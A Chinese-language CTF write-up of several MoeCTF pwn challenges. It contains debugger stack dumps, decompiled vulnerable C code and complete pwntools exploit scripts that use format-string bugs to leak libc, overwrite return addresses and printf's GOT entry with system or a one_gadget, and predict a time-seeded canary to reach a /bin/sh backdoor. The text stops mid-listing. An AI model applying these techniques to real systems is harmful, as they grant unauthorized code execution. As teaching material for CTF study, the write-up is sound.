11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0
12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c
13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c
14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000
15:00a8│+098 0x7ffea6500718 ◂— 0
... ↓ 3 skipped
19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600
1a:00d0│+0c0 0x7ffea6500740 ◂— 0
1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0
1f:00f8│+0e8 0x7ffea6500768 ◂— 0
20:0100│+0f0 0x7ffea6500770 ◂— 0
21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64
22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1
23:0118│+108 0x7ffea6500788 ◂— 0
24:0120│+110 0x7ffea6500790 ◂— 0
25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt
26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c
27:0138│+128 0x7ffea65007a8 ◂— 0x1c
28:0140│+130 0x7ffea65007b0 ◂— 1
29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
2a:0150│+140 0x7ffea65007c0 ◂— 0
2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'

printf后

00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
01:0008│-008 0x7ffea6500678 ◂— 0x80040136f
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
04:0020│+010 0x7ffea6500690 ◂— 0x1000
05:0028│+018 0x7ffea6500698 ◂— 0x200401110
06:0030│+020 0x7ffea65006a0 ◂— 1
07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax
08:0040│+030 0x7ffea65006b0 ◂— 0
09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64
0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
0c:0060│+050 0x7ffea65006d0 ◂— 0
0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c
0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64
10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0
12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c
13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c
14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000
15:00a8│+098 0x7ffea6500718 ◂— 0
... ↓ 3 skipped
19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600
1a:00d0│+0c0 0x7ffea6500740 ◂— 0
1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0
1f:00f8│+0e8 0x7ffea6500768 ◂— 0
20:0100│+0f0 0x7ffea6500770 ◂— 0
21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64
22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1
23:0118│+108 0x7ffea6500788 ◂— 0
24:0120│+110 0x7ffea6500790 ◂— 0
25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt
26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c
27:0138│+128 0x7ffea65007a8 ◂— 0x1c
28:0140│+130 0x7ffea65007b0 ◂— 1
29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
2a:0150│+140 0x7ffea65007c0 ◂— 0
2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'

关键的变化是

0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100

此时0x7ffea650069f指向的恰好是i的最高位地址05:0028│+018 0x7ffea6500698 ◂— 0x200401110

第三次printf前

00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
01:0008│-008 0x7ffea6500678 ◂— 0x80040136f
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
04:0020│+010 0x7ffea6500690 ◂— 0x1000
05:0028│+018 0x7ffea6500698 ◂— 0x300401110
06:0030│+020 0x7ffea65006a0 ◂— 1
07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax
08:0040│+030 0x7ffea65006b0 ◂— 0
09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64
0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
0c:0060│+050 0x7ffea65006d0 ◂— 0
0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c
0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64
10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0
12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c
13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c
14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000
15:00a8│+098 0x7ffea6500718 ◂— 0
... ↓ 3 skipped
19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600
1a:00d0│+0c0 0x7ffea6500740 ◂— 0
1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0
1f:00f8│+0e8 0x7ffea6500768 ◂— 0
20:0100│+0f0 0x7ffea6500770 ◂— 0
21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64
22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1
23:0118│+108 0x7ffea6500788 ◂— 0
24:0120│+110 0x7ffea6500790 ◂— 0
25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt
26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c
27:0138│+128 0x7ffea65007a8 ◂— 0x1c
28:0140│+130 0x7ffea65007b0 ◂— 1
29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100
2a:0150│+140 0x7ffea65007c0 ◂— 0
2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'

printf后

00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x1ff
01:0008│-008 0x7ffea6500678 ◂— 0x80040136f
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
04:0020│+010 0x7ffea6500690 ◂— 0x1000
05:0028│+018 0x7ffea6500698 ◂— 0xff00000300401110
06:0030│+020 0x7ffea65006a0 ◂— 1
07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax
08:0040│+030 0x7ffea65006b0 ◂— 0
09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64
0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x1ff
0c:0060│+050 0x7ffea65006d0 ◂— 0
0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c
0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x1ff
0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64
10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0
12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c
13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c
14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000
15:00a8│+098 0x7ffea6500718 ◂— 0
... ↓ 3 skipped
19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600
1a:00d0│+0c0 0x7ffea6500740 ◂— 0
1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0
1f:00f8│+0e8 0x7ffea6500768 ◂— 0
20:0100│+0f0 0x7ffea6500770 ◂— 0
21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64
22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1
23:0118│+108 0x7ffea6500788 ◂— 0
24:0120│+110 0x7ffea6500790 ◂— 0
25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt
26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c
27:0138│+128 0x7ffea65007a8 ◂— 0x1c
28:0140│+130 0x7ffea65007b0 ◂— 1
29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x1ff
2a:0150│+140 0x7ffea65007c0 ◂— 0
2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'

我们利用的是0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100

找到第二个指针29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100

偏移量是47,我们就可以利用这个来修改我们i的最高位了

关键的变化是

05:0028│+018 0x7ffea6500698 ◂— 0x300401110
05:0028│+018 0x7ffea6500698 ◂— 0xff00000300401110

可以看到我们已经实现了无限写

下面的修改也是一模一样,就不再赘述了

p = start()

p.recvuntil(b"You start talking to him...\n")
payload1=b'A'*8+b"%33$p"+b"%13$p"+b"%8$p"
p.send(payload1)
data = p.recv(50)
addrs = data[8:].decode()
addr1_str = addrs[2:14]
addr2_str = addrs[16:28]
addr3_str = addrs[30:42]
libc_main_addr = int(addr1_str, 16)
return_addr = int(addr2_str, 16)
rbp_addr = int(addr3_str, 16)-0x20
log.success(f"libc_main_addr: {hex(libc_main_addr)}")
log.success(f"return_addr: {hex(return_addr)}")
log.success(f"rbp_addr: {hex(rbp_addr)}")
libc_base=libc_main_addr-128-libc.sym["__libc_start_main"]
log.success(f"libc_base_addr: {hex(libc_base)}")
one_gadget_addr=libc_base+0xebc81
log.success(f"one_gadget_addr: {hex(one_gadget_addr)}")
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

one_gadget_1 = one_gadget_addr & 0xffff # 后两位
one_gadget_2 = (one_gadget_addr >> 16)& 0xffff # 往前推俩
one_gadget_3 = (one_gadget_addr >> 32)& 0xffff # 再往前推两位
main_ret_addr=(rbp_addr+0x28)& 0xffff
main_ret_addr_2=(rbp_addr+0x28+2)& 0xffff
main_ret_addr_3=(rbp_addr+0x28+4)& 0xffff
main_rbp_addr=(rbp_addr+0x20)& 0xffff
main_rbp_addr_2=(rbp_addr+0x20+2)& 0xffff
main_rbp_addr_3=(rbp_addr+0x20+4)& 0xffff
talk_ret_addr=(rbp_addr+0x8)&0xffff
r_addr=rbp_addr+0x110
r_addr_1=r_addr & 0xffff
r_addr_2=(r_addr >> 16)& 0xffff
r_addr_3=(r_addr >> 32)& 0xffff
i_addr=(rbp_addr+0x18+7)& 0xffff

#修改i值达到无限写
p.recvuntil(b"You start talking to him...\n")
payload2=b"%" + str(i_addr).encode("utf-8") + b"c%17$hn\x00"
p.send(payload2)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload3=b"%" + str(0xff).encode("utf-8") + b"c%47$hhn"
p.send(payload3)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

#修改返回地址
p.recvuntil(b"You start talking to him...\n")
payload4=b"%" + str(main_ret_addr).encode("utf-8") + b"c%20$hn\x00"
p.send(payload4)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload5=b"%" + str(one_gadget_1).encode("utf-8") + b"c%47$hn"
p.send(payload5)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

p.recvuntil(b"You start talking to him...\n")
payload6=b"%" + str(main_ret_addr_2).encode("utf-8") + b"c%20$hn\x00"
p.send(payload6)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload7=b"%" + str(one_gadget_2).encode("utf-8") + b"c%47$hn"
p.send(payload7)

p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload8=b"%" + str(main_ret_addr_3).encode("utf-8") + b"c%20$hn\x00"
p.send(payload8)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload9=b"%" + str(one_gadget_3).encode("utf-8") + b"c%47$hn"
p.send(payload9)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

p.recvuntil(b"You start talking to him...\n")
payload10=b"%" + str(main_rbp_addr).encode("utf-8") + b"c%20$hn\x00"
p.send(payload10)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload11=b"%" + str(r_addr_1).encode("utf-8") + b"c%47$hn"
p.send(payload11)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

p.recvuntil(b"You start talking to him...\n")
payload12=b"%" + str(main_rbp_addr_2).encode("utf-8") + b"c%20$hn\x00"
p.send(payload12)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload13=b"%" + str(r_addr_2).encode("utf-8") + b"c%47$hn"
p.send(payload13)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

p.recvuntil(b"You start talking to him...\n")
payload14=b"%" + str(main_rbp_addr_3).encode("utf-8") + b"c%20$hn\x00"
p.send(payload14)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload15=b"%" + str(r_addr_3).encode("utf-8") + b"c%47$hn"
p.send(payload15)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

p.recvuntil(b"You start talking to him...\n")
payload16=b"%" + str(talk_ret_addr).encode("utf-8") + b"c%20$hn\x00"
p.send(payload16)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload17=b"%" + str(0xed).encode("utf-8") + b"c%47$hhn"
p.send(payload17)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"1")

p.interactive()

fmt_t

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
fgets(s, 6, stdin);
printf(s);
puts("Anyone who uses format strings should be punished!\nGo to hell!");
hell(5LL);
return 0;
}
unsigned __int64 __fastcall hell(int n)
{
char s[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v3; // [rsp+68h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("You've reached the level %d of hell.\n", n);
if ( n <= 30 )
{
fgets(s, n, stdin);
hell((unsigned int)(n + 11));
if ( (unsigned int)pd(s, n) )
printf(s);
}
else
{
puts("You've been swallowed by hell.");
}
return v3 - __readfsqword(0x28u);
}
__int64 __fastcall pd(__int64 a1, unsigned __int64 i_1)
{
unsigned __int64 i; // [rsp+18h] [rbp-8h]

for ( i = 0LL; i < i_1; ++i )
{
if ( *(_BYTE *)(a1 + i) == 37 )
return 1LL;
}
return 0LL;
}

我们可以从第一个格式化字符串漏洞得到libc基址,发现一个嵌套函数,还有一个pd函数判断是否含”%“

第一次只能输入4个有效字符,有什么用呢?

[*] '/home/ubuntu/Moectf/fmt_t/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

got表可写,假如我在第一次输入时写入sh,将printf改为system,就可以实现劫持,要调用printf要一个%,所以可以写入sh;%

参照fmt_s,我们应该先写入地址,再进行修改,这道题利用格式化字符串漏洞的机会最多3次,因此考虑利用一次将所以内容修改

因此我们在第二次输入时将printf的got表地址在栈上布置好

00:0000│ rsp 0x7ffe6d8e2760 ◂— 0x16d8e2998
01:0008│-068 0x7ffe6d8e2768 ◂— 0x1000000000
02:0010│ rax 0x7ffe6d8e2770 —▸ 0x40401a (printf@got[plt]+2) ◂— 0xf38000007ea41506
03:0018│-058 0x7ffe6d8e2778 —▸ 0x404018 (printf@got[plt]) —▸ 0x7ea4150606f0 (printf) ◂— endbr64
04:0020│-050 0x7ffe6d8e2780 —▸ 0x7ea41521aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
05:0028│-048 0x7ffe6d8e2788 —▸ 0x7ffe6d8e27f0 ◂— 0x7e00253b6873 /* 'sh;%' */
06:0030│-040 0x7ffe6d8e2790 ◂— 0

在第三次利用布置好的地址进行修改

00:0000│ rsp 0x7ffe6d8e26e0 ◂— 0x16d8e2998
01:0008│-068 0x7ffe6d8e26e8 ◂— 0x1b00000000
02:0010│ rax 0x7ffe6d8e26f0 ◂— '%3440c%25$hn%1941c%24$hn'
03:0018│-058 0x7ffe6d8e26f8 ◂— '5$hn%1941c%24$hn'
04:0020│-050 0x7ffe6d8e2700 ◂— '1c%24$hn'
05:0028│-048 0x7ffe6d8e2708 ◂— 0x7ffe6d000000
06:0030│-040 0x7ffe6d8e2710 ◂— 0
07:0038│-038 0x7ffe6d8e2718 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401180 (__do_global_dtors_aux) ◂— endbr64
08:0040│-030 0x7ffe6d8e2720 —▸ 0x7ea415360040 (_rtld_global) —▸ 0x7ea4153612e0 ◂— 0
09:0048│-028 0x7ffe6d8e2728 —▸ 0x7ea41507f410 (fgets+144) ◂— mov edx, dword ptr [rbp]
0a:0050│-020 0x7ffe6d8e2730 ◂— 0
0b:0058│-018 0x7ffe6d8e2738 —▸ 0x7ffe6d8e27d0 —▸ 0x7ffe6d8e2850 —▸ 0x7ffe6d8e2880 ◂— 1
0c:0060│-010 0x7ffe6d8e2740 —▸ 0x7ffe6d8e2998 —▸ 0x7ffe6d8e39ee ◂— '/home/ubuntu/Moectf/fmt_t/pwn_patched'
0d:0068│-008 0x7ffe6d8e2748 ◂— 0x37d295624a871a00
0e:0070│ rbp 0x7ffe6d8e2750 —▸ 0x7ffe6d8e27d0 —▸ 0x7ffe6d8e2850 —▸ 0x7ffe6d8e2880 ◂— 1
0f:0078│+008 0x7ffe6d8e2758 —▸ 0x4012b9 (hell+115) ◂— mov eax, dword ptr [rbp - 0x64]
10:0080│+010 0x7ffe6d8e2760 ◂— 0x16d8e2998
11:0088│+018 0x7ffe6d8e2768 ◂— 0x1000000000
12:0090│+020 0x7ffe6d8e2770 —▸ 0x40401a (printf@got[plt]+2) ◂— 0xf38000007ea41506
13:0098│+028 0x7ffe6d8e2778 —▸ 0x404018 (printf@got[plt]) —▸ 0x7ea4150606f0 (printf) ◂— endbr64
14:00a0│+030 0x7ffe6d8e2780 —▸ 0x7ea41521aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
15:00a8│+038 0x7ffe6d8e2788 —▸ 0x7ffe6d8e27f0 ◂— 0x7e00253b6873 /* 'sh;%' */
16:00b0│+040 0x7ffe6d8e2790 ◂— 0
GOT protection: Partial RELRO | Found 5 GOT entries passing the filter
[0x404000] puts@GLIBC_2.2.5 -> 0x7ea415080e50 (puts) ◂— endbr64
[0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
[0x404010] setbuf@GLIBC_2.2.5 -> 0x7ea415087fe0 (setbuf) ◂— endbr64
[0x404018] printf@GLIBC_2.2.5 -> 0x7ea4150606f0 (printf) ◂— endbr64
[0x404020] fgets@GLIBC_2.2.5 -> 0x7ea41507f380 (fgets) ◂— endbr64

修改后

GOT protection: Partial RELRO | Found 5 GOT entries passing the filter
[0x404000] puts@GLIBC_2.2.5 -> 0x7ea415080e50 (puts) ◂— endbr64
[0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
[0x404010] setbuf@GLIBC_2.2.5 -> 0x7ea415087fe0 (setbuf) ◂— endbr64
[0x404018] printf@GLIBC_2.2.5 -> 0x7ea415050d70 (system) ◂— endbr64
[0x404020] fgets@GLIBC_2.2.5 -> 0x7ea41507f380 (fgets) ◂— endbr64
p = start()
p.send(b"%31$p")
p.recvuntil(b"0x")
data=p.recv(12)
libc_main_addr=int(data,16)
libc_base_addr=libc_main_addr-libc.sym["__libc_start_main"]-128
system_addr=libc_base_addr+libc.sym["system"]
log.success(f"system_addr: {hex(system_addr)}")
log.success(f"libc_base_addr: {hex(libc_base_addr)}")
system_1 = system_addr & 0xffff
system_2 = (system_addr >> 16)& 0xffff
system_3=(system_2-system_1)& 0xffff
got_addr=elf.got['printf']
got_1 = got_addr & 0xffff
got_2 = (got_addr >> 16)& 0xffff

p.recvuntil(b"of hell.\n")
payload1=b"sh;%"
p.send(payload1)

p.recvuntil(b"of hell.\n")
payload2=p64(got_addr+2)+p32(got_addr)
p.send(payload2.ljust(15,b"\x00"))

p.recvuntil(b"of hell.\n")
payload4=b"%" + str(system_1).encode("utf-8") + b"c%25$hn"+b"%" + str(system_3).encode("utf-8") + b"c%24$hn"
p.send(payload4.ljust(27,b'\x00'))

p.interactive()

boom & boom_revenge

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[124]; // [rsp+0h] [rbp-90h] BYREF
int canary; // [rsp+7Ch] [rbp-14h]
int v6; // [rsp+8Ch] [rbp-4h]

init(argc, argv, envp);
puts("Welcome to Secret Message Book!");
puts("Do you want to brute-force this system? (y/n)");
fgets(&brute_choice, 8, stdin);
v6 = 0;
if ( brute_choice == 121 || brute_choice == 89 )
{
v6 = 1;
canary = (int)random() % 114514;
canary = canary;
puts("waiting...");
sleep(1u);
puts("boom!");
puts("Brute-force mode enabled! Security on.");
}
else
{
puts("Normal mode. No overflow allowed.");
}
printf("Enter your message: ");
if ( v6 )
gets(s);
else
fgets(s, 128, stdin);
if ( v6 && canary != canary )
{
puts("Security check failed!");
exit(1);
}
puts("Message received.");
return 0;
}
.text:0000000000401276 win             proc near
.text:0000000000401276 ; __unwind {
.text:0000000000401276 endbr64
.text:000000000040127A push rbp
.text:000000000040127B mov rbp, rsp
.text:000000000040127E lea rax, command ; "/bin/sh"
.text:0000000000401285 mov rdi, rax ; command
.text:0000000000401288 call _system
.text:000000000040128D nop
.text:000000000040128E pop rbp
.text:000000000040128F retn
.text:000000000040128F ; } // starts at 401276
.text:000000000040128F win endp

下面是boom_revenge的

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[124]; // [rsp+0h] [rbp-90h] BYREF
int canary; // [rsp+7Ch] [rbp-14h]
int v6; // [rsp+8Ch] [rbp-4h]

init(argc, argv, envp);
puts("Welcome to Secret Message Book!");
puts("Do you want to brute-force this system? (y/n)");
fgets(&brute_choice, 8, stdin);
v6 = 0;
if ( brute_choice == 121 || brute_choice == 89 )
{
v6 = 1;
canary = (int)random() % 114514;
canary = canary;
puts("waiting...");
sleep(1u);
puts("boom!");
puts("Brute-force mode enabled! Security on.");
}
else
{
puts("Normal mode. No overflow allowed.");
}
printf("Enter your message: ");
if ( v6 )
{
gets(s);
if ( canary != canary )
{
puts("Security check failed!");
exit(1);
}
}
else
{
fgets(s, 128, stdin);
}
puts("Message received.");
return 0;
}

后门函数也存在

区别就在

#boom
if ( v6 )
gets(s);
else
fgets(s, 128, stdin);
if ( v6 && canary != canary ){
puts("Security check failed!");
exit(1);
}
puts("Message received.");
#boom_revenge
if ( v6 ){
gets(s);
if ( canary != canary ){
puts("Security check failed!");
exit(1);
}
}
else{
fgets(s, 128, stdin);
}
puts("Message received.");

要实现溢出,就要使用gets(s),就要v6=1

在boom中我们直接可以将v6覆盖为零,并且覆盖返回地址,这样就不会触发exit

在boom_revenge中我们无法利用boom的方法,就直接利用随机数生成canary通过检验并且覆盖返回地址就行了

只展示boom_revenge的方法,boom使用这个也可以过

p = start()
p.recvuntil(b"Do you want to brute-force this system? (y/n)\n")
p.send(b"y\n");

elf1=ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
elf1.srand(elf1.time(0))
canary = elf1.rand()%114514
print(f"生成的 canary 值: {hex(canary)},{canary}")

p.recvuntil(b"Enter your message: ")
payload=b'A'*0x7C+p32(canary)+b'0'*12+p32(1)+p64(0x40127E)*2
p.sendline(payload)
p.interactive()

randomlock

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
int v6; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
initseed();
srand(seed);
puts("My lock looks strange—can you help me?");
for ( i = 1; i <= 10; ++i )
{
printf("password %d\n>", i);
v6 = rand() % 10000;
__isoc99_scanf("%d", &v4);
if ( v6 != v4 )
lose();
}
win();
return 0;
}
unsigned __int64 win()
{
